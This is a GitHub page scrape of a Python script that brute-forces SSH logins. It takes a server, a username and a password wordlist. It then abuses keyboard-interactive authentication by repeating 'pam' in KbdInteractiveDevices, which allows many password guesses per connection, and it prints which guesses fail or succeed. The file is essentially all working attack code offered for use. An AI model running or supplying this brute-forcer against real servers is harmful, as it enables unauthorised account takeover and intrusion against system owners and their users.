-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbrute_ssh_keyboard.py
executable file
·81 lines (64 loc) · 2.24 KB
/
brute_ssh_keyboard.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
import sys
import subprocess
import time
CHUNK = 10
if len(sys.argv) != 4:
print('Usage: ./brute_ssh_keyboard.py server user filename')
sys.exit()
def get_password(filename):
with open(filename) as f:
for line in f:
word = line.strip('\r\n')
yield '{0}\n'.format(word).encode('utf-8')
def get_ssh_connection(server, user):
"""
Brute force the SSH server.
Open a connection to the SSH server and configure it for 1000 keyboard
interactive sessions.
"""
cmd = 'ssh -l {0} -o KbdInteractiveDevices={1} {2}'.format(user, 'pam,' * CHUNK, server)
ssh = subprocess.Popen(cmd,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
bufsize=1,
shell=True)
# Continue reading output lines until we get a Password prompt.
out = ssh.stderr.readline()
print('OUTPUT: {0}'.format(out.rstrip().decode('utf-8')))
count = 0
while 'Password' not in out.decode('utf-8'):
print('OUTPUT: {0}'.format(out.decode('utf-8')))
time.sleep(1)
#out = ssh.stdout.read(8)
err = ssh.stderr.read(8)
print('ERR: {0}'.format(err))
count += 1
if count == 20: sys.exit()
return ssh
if __name__ == '__main__':
"""
Main Loop
Open a connection to the SSH server and feed it CHUNK number of passwords.
Create a new connection after each CHUNK is finished.
"""
server = sys.argv[1]
user = sys.argv[2]
word_file = sys.argv[3]
count = CHUNK
ssh = get_ssh_connection(server, user)
for word in get_password(word_file):
# Send a password and capture the output
ssh.stdin.write(word)
out = ssh.stdout.readline()
# Determine success or failure
if 'Password' in out.decode('utf-8'):
print('{0}:{1} - Failed'.format(user, word))
else:
print('{0}:{1} - Success'.format(user, word))
# Get a new SSH session after every CHUNK of passwords.
count += 1
if count % CHUNK == 0:
ssh.kill()
ssh = get_ssh_connection(server, user)